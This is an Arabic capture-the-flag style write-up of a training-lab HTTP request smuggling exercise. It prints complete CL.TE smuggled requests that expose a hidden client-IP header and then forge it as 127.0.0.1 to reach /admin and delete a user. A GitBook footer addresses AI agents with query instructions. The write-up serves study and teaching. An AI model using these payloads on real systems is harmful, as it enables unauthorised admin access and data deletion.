> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md).

# اكتشاف إعادة الكتابة عبر الواجهة الأمامية

### استغلال تهريب طلبات HTTP لكشف إعادة كتابة الطلبات في الواجهة الأمامية

يعتمد الموقع على خادم للواجهة الأمامية وخادم للواجهة الخلفية. الواجهة الأمامية\*\* لا تقبل الترميز المجزأ\*\*. / الوصول إلى لوحة الإدارة /admin محجوز للمستخدمين من **127.0.0.1**. / قبل تمرير الطلبات إلى الواجهة الخلفية، تضيف الواجهة الأمامية \*\* رأسًا مخصصًا يحتوي على عنوان IP الخاص بالعميل\*\*. يبدو هذا السلوك مثل X-Forwarded-For الكلاسيكي، لكن اسم الرأس مختلف.

الهدف ذو شقين:

1. **أرسل طلبًا** لكشف اسم هذا الرأس الذي تضيفه الواجهة الأمامية.
2. **أرسل** طلبًا مهرّبًا يحتوي على هذا الرأس، مع فرض قيمته على 127.0.0.1، للوصول إلى لوحة الإدارة وحذف المستخدم carlos.

<figure><img src="/files/14912210c736b5247ac7b49a1da46269551fbd6c" alt=""><figcaption></figcaption></figure>

#### **تحليل السلوك**

* الحقل المُرسل في معلمة البحث يُعاد في الإجابة، مما يُظهر أنه يمكننا استخدامه لملاحظة آثار عمليات الحقن الخاصة بنا.
* إرسال:

```http
Content-Length: 5
Transfer-Encoding: chunked

0


```

تتم معالجة الطلب دون خطأ (200 OK)، مما يؤكد أن **الواجهة الأمامية تفسّر Content-Length**، بينما **تتجاهل الواجهة الخلفية Transfer-Encoding**.

* عند تهريب طلب POST إضافي:

```http
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 13

search=test
```

البايتات الزائدة (هنا،

* من خلال زيادة Content-Length إلى 125، تكشف الإجابة الرأس الذي أضافته الواجهة الأمامية. / هذا الرأس هو:

```http
Content-Length: 125
```

<figure><img src="/files/807e5ce8ccf2c96cce707f4d1a1f218183edf325" alt=""><figcaption></figcaption></figure>

<sub>X-KwWCmS-Ip</sub>

<figure><img src="/files/48be46f3b0823440e099896109705fcb9f434618" alt=""><figcaption></figcaption></figure>

#### **الوصول إلى لوحة الإدارة**

من خلال تزوير طلب مهرّب يتضمن هذا الرأس مضبوطًا على **127.0.0.1**، تحصل على الوصول إلى /admin:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

<figure><img src="/files/04a742f1dc11d89b85930cda0a5a356e04b33bb1" alt=""><figcaption></figcaption></figure>

#### **حذف المستخدم carlos**

يسمح لك طلب مهرّب ثانٍ باستدعاء نقطة نهاية الحذف مباشرة:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

ثم يُحذف المستخدم carlos عبر الواجهة الخلفية، مما يجعله يبدو كأنه طلب داخلي مُصرّح به.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
